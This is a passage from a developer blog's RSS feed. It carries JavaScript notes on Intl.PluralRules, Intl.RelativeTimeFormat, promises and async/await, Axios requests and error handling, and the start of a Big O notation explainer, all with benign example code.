&lt;li&gt;&lt;strong&gt;Locale hardcoded to &lt;code&gt;en-GB&lt;/code&gt;&lt;/strong&gt; in my helpers — pass &lt;code&gt;undefined&lt;/code&gt; as the first constructor argument to use the visitor&apos;s own locale instead.&lt;/li&gt;
&lt;li&gt;Rounding is controllable since the v3 spec (ES2023): &lt;code&gt;roundingMode: &apos;trunc&apos; | &apos;ceil&apos; | &apos;halfEven&apos;&lt;/code&gt; etc., plus &lt;code&gt;roundingPriority&lt;/code&gt; / &lt;code&gt;roundingIncrement&lt;/code&gt; (&quot;round to nearest 5p&quot;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For plural-aware strings around these numbers (&quot;1 item&quot; / &quot;2 items&quot;) see my &lt;a href=&quot;/notes/intl-pluralrules&quot;&gt;&lt;code&gt;Intl.PluralRules&lt;/code&gt;&lt;/a&gt; note — and &lt;a href=&quot;/notes/intl-relativetimeformat&quot;&gt;&lt;code&gt;Intl.RelativeTimeFormat&lt;/code&gt;&lt;/a&gt; covers &quot;2 days ago&quot;.&lt;/p&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Intl.PluralRules</title><link>https://zander.wtf/notes/intl-pluralrules/</link><guid isPermaLink="true">https://zander.wtf/notes/intl-pluralrules/</guid><description>The standards-based way to pick the right plural form, instead of hand-rolling count === 1 ? &apos;item&apos; : &apos;items&apos;. English only has two plural forms, but many…</description><pubDate>Mon, 20 Jul 2026 15:30:00 GMT</pubDate><content:encoded>&lt;p&gt;The standards-based way to pick the right plural form, instead of hand-rolling &lt;code&gt;count === 1 ? &apos;item&apos; : &apos;items&apos;&lt;/code&gt;. English only has two plural forms, but many languages have more — Polish has three, Arabic has six — and &lt;code&gt;Intl.PluralRules&lt;/code&gt; knows the rules for all of them.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;select(n)&lt;/code&gt; returns a plural category: one of &lt;code&gt;zero&lt;/code&gt;, &lt;code&gt;one&lt;/code&gt;, &lt;code&gt;two&lt;/code&gt;, &lt;code&gt;few&lt;/code&gt;, &lt;code&gt;many&lt;/code&gt;, or &lt;code&gt;other&lt;/code&gt;. You map those categories to your strings.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const rules = new Intl.PluralRules(&apos;en-GB&apos;)

rules.select(0) // &apos;other&apos;
rules.select(1) // &apos;one&apos;
rules.select(2) // &apos;other&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;A pluralize helper&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const pluralize = (count, singular, plural) =&amp;gt; {
  const rules = new Intl.PluralRules(&apos;en-GB&apos;)
  const word = rules.select(count) === &apos;one&apos; ? singular : plural
  return `${count} ${word}`
}

pluralize(1, &apos;note&apos;, &apos;notes&apos;) // &apos;1 note&apos;
pluralize(7, &apos;note&apos;, &apos;notes&apos;) // &apos;7 notes&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For more than two forms (or more languages), map categories explicitly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const rules = new Intl.PluralRules(&apos;pl-PL&apos;)

const words = {
  one: &apos;plik&apos;, // 1 file
  few: &apos;pliki&apos;, // 2–4 files
  many: &apos;plików&apos;, // 5+ files
}

const formatFiles = (count) =&amp;gt; `${count} ${words[rules.select(count)]}`

formatFiles(1) // &apos;1 plik&apos;
formatFiles(3) // &apos;3 pliki&apos;
formatFiles(5) // &apos;5 plików&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ordinals&lt;/h2&gt;
&lt;p&gt;Pass &lt;code&gt;{ type: &apos;ordinal&apos; }&lt;/code&gt; for 1st/2nd/3rd/4th-style suffixes — the default is &lt;code&gt;&apos;cardinal&apos;&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const ordinals = new Intl.PluralRules(&apos;en-GB&apos;, { type: &apos;ordinal&apos; })

const suffixes = {
  one: &apos;st&apos;,
  two: &apos;nd&apos;,
  few: &apos;rd&apos;,
  other: &apos;th&apos;,
}

const formatOrdinal = (n) =&amp;gt; `${n}${suffixes[ordinals.select(n)]}`

formatOrdinal(1) // &apos;1st&apos;
formatOrdinal(2) // &apos;2nd&apos;
formatOrdinal(3) // &apos;3rd&apos;
formatOrdinal(11) // &apos;11th&apos; — knows 11 isn&apos;t &apos;11st&apos;
formatOrdinal(21) // &apos;21st&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;11&lt;/code&gt; vs &lt;code&gt;21&lt;/code&gt; case is exactly the sort of thing you get wrong doing it by hand.&lt;/p&gt;
&lt;h2&gt;Ranges&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;selectRange(start, end)&lt;/code&gt; (ES2023) picks the category for a range:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new Intl.PluralRules(&apos;en-GB&apos;).selectRange(1, 3) // &apos;other&apos; → &apos;1–3 items&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;Support is universal — every modern browser and Node for years. If you&apos;re formatting the number itself as well, reach for &lt;a href=&quot;/notes/intl-numberformat&quot;&gt;&lt;code&gt;Intl.NumberFormat&lt;/code&gt;&lt;/a&gt;, and for &quot;2 days ago&quot;-style strings there&apos;s &lt;a href=&quot;/notes/intl-relativetimeformat&quot;&gt;&lt;code&gt;Intl.RelativeTimeFormat&lt;/code&gt;&lt;/a&gt;, which uses these same plural rules under the hood.&lt;/p&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Intl.RelativeTimeFormat</title><link>https://zander.wtf/notes/intl-relativetimeformat/</link><guid isPermaLink="true">https://zander.wtf/notes/intl-relativetimeformat/</guid><description>The built-in way to get &quot;2 days ago&quot;, &quot;in 3 hours&quot;, &quot;yesterday&quot; — no date library needed. Rounds out the Intl family alongside Intl.NumberFormat and…</description><pubDate>Mon, 20 Jul 2026 15:30:00 GMT</pubDate><content:encoded>&lt;p&gt;The built-in way to get &quot;2 days ago&quot;, &quot;in 3 hours&quot;, &quot;yesterday&quot; — no date library needed. Rounds out the &lt;code&gt;Intl&lt;/code&gt; family alongside &lt;a href=&quot;/notes/intl-numberformat&quot;&gt;&lt;code&gt;Intl.NumberFormat&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;/notes/intl-pluralrules&quot;&gt;&lt;code&gt;Intl.PluralRules&lt;/code&gt;&lt;/a&gt; (which it uses under the hood, so &quot;1 day ago&quot; vs &quot;2 days ago&quot; plurals are handled for you, in any locale).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const rtf = new Intl.RelativeTimeFormat(&apos;en-GB&apos;, { numeric: &apos;auto&apos; })

rtf.format(-1, &apos;day&apos;) // &apos;yesterday&apos;
rtf.format(2, &apos;day&apos;) // &apos;in 2 days&apos;
rtf.format(-3, &apos;hour&apos;) // &apos;3 hours ago&apos;
rtf.format(1, &apos;week&apos;) // &apos;next week&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Negative numbers are the past, positive the future. Units: &lt;code&gt;second&lt;/code&gt;, &lt;code&gt;minute&lt;/code&gt;, &lt;code&gt;hour&lt;/code&gt;, &lt;code&gt;day&lt;/code&gt;, &lt;code&gt;week&lt;/code&gt;, &lt;code&gt;month&lt;/code&gt;, &lt;code&gt;quarter&lt;/code&gt;, &lt;code&gt;year&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;numeric: &apos;auto&apos;&lt;/code&gt; vs &lt;code&gt;&apos;always&apos;&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The one option that matters. &lt;code&gt;&apos;auto&apos;&lt;/code&gt; uses natural phrasing when one exists, &lt;code&gt;&apos;always&apos;&lt;/code&gt; (the default) keeps everything numeric:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new Intl.RelativeTimeFormat(&apos;en-GB&apos;, { numeric: &apos;auto&apos; }).format(-1, &apos;day&apos;)
// &apos;yesterday&apos;

new Intl.RelativeTimeFormat(&apos;en-GB&apos;, { numeric: &apos;always&apos; }).format(-1, &apos;day&apos;)
// &apos;1 day ago&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I nearly always want &lt;code&gt;&apos;auto&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;My helper&lt;/h2&gt;
&lt;p&gt;The API&apos;s catch: it doesn&apos;t take dates. You must work out the delta and pick a sensible unit yourself — &quot;90 seconds ago&quot; should be &quot;2 minutes ago&quot;, &quot;40 days ago&quot; should be &quot;last month&quot;. This helper does the unit-picking, accepts anything date-ish, and handles past and future:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Module-level cache — formatter construction is the expensive part,
// same deal as Intl.NumberFormat.
const formatterCache = new Map&amp;lt;string, Intl.RelativeTimeFormat&amp;gt;()

const getRelativeTimeFormat = (
  locale?: string,
  options?: Intl.RelativeTimeFormatOptions,
): Intl.RelativeTimeFormat =&amp;gt; {
  const key = `${locale}:${JSON.stringify(options)}`
  let formatter = formatterCache.get(key)
  if (!formatter) {
    formatter = new Intl.RelativeTimeFormat(locale, options)
    formatterCache.set(key, formatter)
  }
  return formatter
}

// Each entry: how many of this unit fit in the next one up.
const DIVISIONS: Array&amp;lt;{
  amount: number
  unit: Intl.RelativeTimeFormatUnit
}&amp;gt; = [
  { amount: 60, unit: &apos;seconds&apos; },
  { amount: 60, unit: &apos;minutes&apos; },
  { amount: 24, unit: &apos;hours&apos; },
  { amount: 7, unit: &apos;days&apos; },
  { amount: 4.34524, unit: &apos;weeks&apos; }, // average weeks per month
  { amount: 12, unit: &apos;months&apos; },
  { amount: Number.POSITIVE_INFINITY, unit: &apos;years&apos; },
]

/**
 * Formats a date relative to now, picking the largest sensible unit.
 * @param date - A Date, timestamp, or ISO string. Past or future.
 * @param locale - BCP 47 locale tag. Default &apos;en-GB&apos;; pass undefined for the visitor&apos;s locale.
 * @returns e.g. &apos;yesterday&apos;, &apos;2 hours ago&apos;, &apos;in 3 weeks&apos;, &apos;last month&apos;.
 * @throws TypeError if the date can&apos;t be parsed.
 */
export const formatRelativeTime = (
  date: Date | number | string,
  locale: string | undefined = &apos;en-GB&apos;,
): string =&amp;gt; {
  const timestamp = new Date(date).getTime()
  if (Number.isNaN(timestamp)) {
    throw new TypeError(&apos;formatRelativeTime: Invalid date&apos;)
  }

  const formatter = getRelativeTimeFormat(locale, { numeric: &apos;auto&apos; })

  // Negative = past, positive = future
  let duration = (timestamp - Date.now()) / 1000

  for (const division of DIVISIONS) {
    if (Math.abs(duration) &amp;lt; division.amount) {
      return formatter.format(Math.round(duration), division.unit)
    }
    duration /= division.amount
  }

  // Unreachable — the last division catches everything — but TS wants a return.
  return formatter.format(Math.round(duration), &apos;years&apos;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;formatRelativeTime(Date.now() - 30 * 1000) // &apos;30 seconds ago&apos;
formatRelativeTime(Date.now() - 90 * 1000) // &apos;2 minutes ago&apos; — unit picked for you
formatRelativeTime(&apos;2026-07-19&apos;) // &apos;yesterday&apos;
formatRelativeTime(Date.now() + 3 * 86400 * 1000) // &apos;in 3 days&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;A &quot;just now&quot; threshold&lt;/h3&gt;
&lt;p&gt;&quot;12 seconds ago&quot; is usually noise. Small wrapper:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const timeAgo = (date: Date | number | string): string =&amp;gt; {
  const seconds = (Date.now() - new Date(date).getTime()) / 1000
  if (seconds &amp;gt;= 0 &amp;amp;&amp;amp; seconds &amp;lt; 60) {
    return &apos;just now&apos;
  }
  return formatRelativeTime(date)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;It won&apos;t pick a unit for you&lt;/strong&gt; — &lt;code&gt;format(-90, &apos;second&apos;)&lt;/code&gt; happily returns &quot;90 seconds ago&quot;. That&apos;s what the helper above is for.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Relative strings go stale.&lt;/strong&gt; &quot;2 minutes ago&quot; rendered once is wrong five minutes later. On a live page, re-render on an interval (a minute is usually fine), or reach for the &lt;code&gt;&amp;lt;relative-time&amp;gt;&lt;/code&gt; custom element &lt;a href=&quot;https://github.com/github/relative-time-element&quot;&gt;from GitHub&lt;/a&gt; if you want it handled for you. Also worth pairing with a &lt;code&gt;title&lt;/code&gt; attribute holding the absolute date.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Static sites&lt;/strong&gt;: this runs at build time in Astro frontmatter — &quot;2 days ago&quot; is frozen at deploy. Fine for a rebuilt-often site, misleading otherwise; prefer absolute dates there.&lt;/li&gt;
&lt;li&gt;For absolute date formatting, the sibling API is &lt;code&gt;Intl.DateTimeFormat&lt;/code&gt; — same locale/options/caching patterns as everything above.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Async cheatsheet</title><link>https://zander.wtf/notes/async-cheatsheet/</link><guid isPermaLink="true">https://zander.wtf/notes/async-cheatsheet/</guid><description>Pending promises can become either... value: Fulfilled with a value, or... error: Rejected with an error. outcome: Either way, they are settled with an…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Pending promises can become either...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;value&lt;/code&gt;: Fulfilled with a value, or...&lt;/li&gt;
&lt;li&gt;&lt;code&gt;error&lt;/code&gt;: Rejected with an error.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;outcome&lt;/code&gt;: Either way, they are settled with an outcome.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Combining promises&lt;/h2&gt;
&lt;p&gt;Use &lt;code&gt;all()&lt;/code&gt; to turn an array of promises into a promise to an array.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Promise.all([value1, value2, value3]) -&amp;gt; [value1, value2, value3]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If any promise is rejected, the error will be passed through.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Promise.all([?, ?, error]) -&amp;gt; error
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;race()&lt;/code&gt; instead to pass through the first settled promise.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Promise.race([?, ?, value]) -&amp;gt; value
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;allSettled()&lt;/code&gt; (ES2020) when you want every outcome — it never rejects, and resolves to an array of &lt;code&gt;{ status, value }&lt;/code&gt; / &lt;code&gt;{ status, reason }&lt;/code&gt; objects.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Promise.allSettled([value, error]) -&amp;gt; [
  { status: &apos;fulfilled&apos;, value },
  { status: &apos;rejected&apos;, reason: error },
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;any()&lt;/code&gt; (ES2021) to get the first &lt;em&gt;fulfilled&lt;/em&gt; promise — it only rejects (with an &lt;code&gt;AggregateError&lt;/code&gt;) if every promise rejects.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Promise.any([error, value]) -&amp;gt; value
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Promise.withResolvers()&lt;/code&gt; (ES2024) gives you a promise plus its &lt;code&gt;resolve&lt;/code&gt;/&lt;code&gt;reject&lt;/code&gt; functions without the constructor callback dance.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { promise, resolve, reject } = Promise.withResolvers()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Promise.try()&lt;/code&gt; (ES2025) wraps a function that might return a value, a promise, or throw synchronously — either way you get a promise back.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Promise.try(() =&amp;gt; maybeAsyncMaybeThrows())
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Combining promises&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;promise.then(onFulfilled, onRejected)&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Calls &lt;code&gt;onFulfilled&lt;/code&gt; once the promise is fulfilled.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;value.then(value =&amp;gt; nextValue, ...) -&amp;gt; nextValue
value.then(value =&amp;gt; outcome, ...) -&amp;gt; outcome
value.then(value =&amp;gt; throw error, ...) -&amp;gt; error
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Calls onRejected if the promise is rejected.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;error.then(..., error =&amp;gt; value) -&amp;gt; value
error.then(..., error =&amp;gt; outcome) -&amp;gt; outcome
error.then(..., error =&amp;gt; throw nextError) -&amp;gt; nextError
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Passes errors through if onRejected is undefined.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;error.then(...) -&amp;gt; error
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;promise.catch( onRejected )&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Behaves identically to then when &lt;code&gt;onFulfilled&lt;/code&gt; is omitted.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;error.catch(onRejected) &amp;lt;=&amp;gt; error.then(..., onRejected)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Passes fulfilled values through.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;value.catch(...) -&amp;gt; value
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;promise.finally( onFinally )&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Calls &lt;code&gt;onFinally&lt;/code&gt; with no arguments once any outcome is available. Passes through input promise.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;outcome.finally(() =&amp;gt; ...) -&amp;gt; outcome
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;onFulfilled&lt;/code&gt;, &lt;code&gt;onRejected&lt;/code&gt; and &lt;code&gt;onFinally&lt;/code&gt; functions will not be executed until at least the next tick, even for promises that already have an outcome.&lt;/p&gt;
&lt;h2&gt;Making promises&lt;/h2&gt;
&lt;p&gt;The function passed to new &lt;code&gt;Promise&lt;/code&gt; will be executed synchronously.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new Promise((resolve, reject) =&amp;gt; {
  doImportantStuff((error, value) =&amp;gt; {
    if (error) {
      reject(error)
    } else {
      resolve(value)
    }
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;resolve()&lt;/code&gt; or &lt;code&gt;reject()&lt;/code&gt; to create promises from values.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Promise.resolve(value) -&amp;gt; value
Promise.reject(error) -&amp;gt; error
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you put a fulfilled promise into a fulfilled promise, they&apos;ll collapse into one.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Promise.resolve(value) -&amp;gt; value
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sometimes you might not need reject, or might not resolve to a value.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function delay(milliseconds) {
  return new Promise((resolve) =&amp;gt; setTimeout(resolve, milliseconds))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;async/await&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Calling an async function always results in a promise.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(async () =&amp;gt; value)() -&amp;gt; value
(async () =&amp;gt; outcome)() -&amp;gt; outcome
(async () =&amp;gt; throw error)() -&amp;gt; error
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;await waits for a promise to be fulfilled, then returns its value.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;async function() {
  try {
    let value = await outcome
    // ...
  }
  catch (error) {
    // ...
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can pass non-promise values to await&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const fn = async () =&amp;gt; {
  let value = await value
  // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;await&lt;/code&gt; may only be used within async functions.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;await&lt;/code&gt; will wait until at least the next tick before returning, even when awaiting already-fulfilled promises or non-promise values.&lt;/p&gt;
</content:encoded><category>javascript</category><category>cheatsheet</category><author>Zander Martineau</author></item><item><title>Axios</title><link>https://zander.wtf/notes/axios/</link><guid isPermaLink="true">https://zander.wtf/notes/axios/</guid><description>Example requests With authorisation Try/Catch Alternate method using await-to-js Handling errors Read more here With Typescript Lightweight alternatives…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Example requests&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// GET
const { data } = await axios({
  method: &apos;GET&apos;,
  url: `https://path.to/endpoint`,
})

// POST
const { data } = await axios({
  method: &apos;POST&apos;,
  url: `https://path.to/endpoint`,
  data: {
    name: &apos;Zander Martineau&apos;,
  },
  headers: {},
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;interface ApiResponse {
  test: number
}

const fetchSomeData = (): Promise&amp;lt;ApiResponse&amp;gt; =&amp;gt; {
  return axios&amp;lt;ApiResponse&amp;gt;({
    method: &apos;POST&apos;,
    url: `https://path.to/endpoint`,
  }).then((response) =&amp;gt; {
    return {
      ...response.data,
    }
  })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With authorisation&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// POST
const { data } = await axios({
  method: &apos;POST&apos;,
  url: `https://path.to/endpoint`,
  data: {
    name: &apos;Zander Martineau&apos;,
  },
  headers: {
    Authorization: `Bearer ${token}`,
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Try/Catch&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface ApiResponse {
  test: number
}

const fetchSomeData = async (): Promise&amp;lt;ApiResponse&amp;gt; =&amp;gt; {
  try {
    const { data } = await axios&amp;lt;ApiResponse&amp;gt;({
      method: &apos;POST&apos;,
      url: `https://path.to/endpoint`,
    })

    return data
  } catch (error) {
    if (axios.isAxiosError(error)) {
      throw new Error(error.message)
    }
    throw new Error(&apos;error.unknown&apos;)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Alternate method using &lt;a href=&quot;https://github.com/scopsy/await-to-js&quot;&gt;await-to-js&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import to from &apos;await-to-js&apos;

interface ApiResponse {
  test: number
}

const fetchSomeData = async () =&amp;gt; {
  const [error, data] = await to&amp;lt;AxiosResponse&amp;lt;ApiResponse&amp;gt;&amp;gt;(
    axios({
      method: &apos;POST&apos;,
      url: `https://path.to/endpoint`,
    })
  )

  if (error || !data) {
    // handle the error — `data` is undefined here
    return
  }

  // ℹ️ Axios&apos; default response has a `data` property,
  // so you may prefer to return `data.data`
  return data.data
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Handling errors&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;axios({
  method: &apos;GET&apos;,
  url: &apos;/user/12345&apos;,
}).catch((error) =&amp;gt; {
  if (error.response) {
    // The request was made and the server responded with a status code
    // that falls out of the range of 2xx
    console.log(error.response.data)
    console.log(error.response.status)
    console.log(error.response.headers)
  } else if (error.request) {
    // The request was made but no response was received
    // `error.request` is an instance of XMLHttpRequest in the browser and an instance of
    // http.ClientRequest in node.js
    console.log(error.request)
  } else {
    // Something happened in setting up the request that triggered an Error
    console.log(&apos;Error&apos;, error.message)
  }
  console.log(error.config)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/axios/axios#handling-errors&quot;&gt;Read more here&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;With Typescript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try {
  await axios.post(&apos;/user/12345&apos;, {
    email: formData.email,
  })
} catch (error: unknown) {
  if (axios.isAxiosError(error)) {
    // you now have type-safe access to the API response that returned the error
    console.error(error.response)
  } else {
    const errorMessage = getErrorMessage(error)
    setFormError(errorMessage)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lightweight alternatives&lt;/h2&gt;
&lt;p&gt;Native &lt;code&gt;fetch&lt;/code&gt; with &lt;code&gt;AbortSignal.timeout()&lt;/code&gt; covers most of what I used axios for these days. If I want a nicer API on top, &lt;a href=&quot;https://github.com/sindresorhus/ky&quot;&gt;ky&lt;/a&gt; or &lt;a href=&quot;https://github.com/unjs/ofetch&quot;&gt;ofetch&lt;/a&gt; are the modern lightweight choices.&lt;/p&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Big O Notation</title><link>https://zander.wtf/notes/big-o-notation/</link><guid isPermaLink="true">https://zander.wtf/notes/big-o-notation/</guid><description>Big O Notation describes the upper bound of an algorithm&apos;s time or space complexity, helping us understand how performance scales as input size grows. Why…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Big O Notation describes the &lt;strong&gt;upper bound&lt;/strong&gt; of an algorithm&apos;s time or space complexity, helping us understand how performance scales as input size grows.&lt;/p&gt;
&lt;h2&gt;Why Big O Matters&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Compare algorithms&lt;/strong&gt; objectively before implementation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Predict performance&lt;/strong&gt; bottlenecks at scale&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Make informed trade-offs&lt;/strong&gt; between time and space complexity&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Complexity Comparison&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Notation&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;n=10&lt;/th&gt;
&lt;th&gt;n=100&lt;/th&gt;
&lt;th&gt;n=1000&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;O(1)&lt;/td&gt;
&lt;td&gt;Constant&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;O(log n)&lt;/td&gt;
&lt;td&gt;Logarithmic&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;td&gt;Linear&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;td&gt;Linearithmic&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;664&lt;/td&gt;
&lt;td&gt;9966&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;O(n²)&lt;/td&gt;
&lt;td&gt;Quadratic&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;10,000&lt;/td&gt;
&lt;td&gt;1,000,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;O(2ⁿ)&lt;/td&gt;
&lt;td&gt;Exponential&lt;/td&gt;
&lt;td&gt;1024&lt;/td&gt;
&lt;td&gt;1.27×10³⁰&lt;/td&gt;
&lt;td&gt;∞&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;O(n!)&lt;/td&gt;
&lt;td&gt;Factorial&lt;/td&gt;
&lt;td&gt;3,628,800&lt;/td&gt;
&lt;td&gt;∞&lt;/td&gt;
&lt;td&gt;∞&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;O(1) — Constant Time&lt;/h2&gt;
&lt;p&gt;Runtime remains the same regardless of input size.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Array access by index
const getFirst = (arr) =&amp;gt; arr[0];

// Hash table lookup
const getValue = (map, key) =&amp;gt; map.get(key);

// Stack push/pop
stack.push(item);
stack.pop();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt; Array indexing, hash map operations, arithmetic operations, checking if a number is even/odd.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;O(log n) — Logarithmic Time&lt;/h2&gt;
&lt;p&gt;Runtime increases slowly as input grows. Each step eliminates half the remaining data.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Binary search
function binarySearch(arr, target) {
  let left = 0;
  let right = arr.length - 1;

  while (left &amp;lt;= right) {
    const mid = Math.floor((left + right) / 2);
    if (arr[mid] === target) return mid;
    if (arr[mid] &amp;lt; target) left = mid + 1;
    else right = mid - 1;
  }
  return -1;
}
&lt;/code&gt;&lt;/pre&gt;
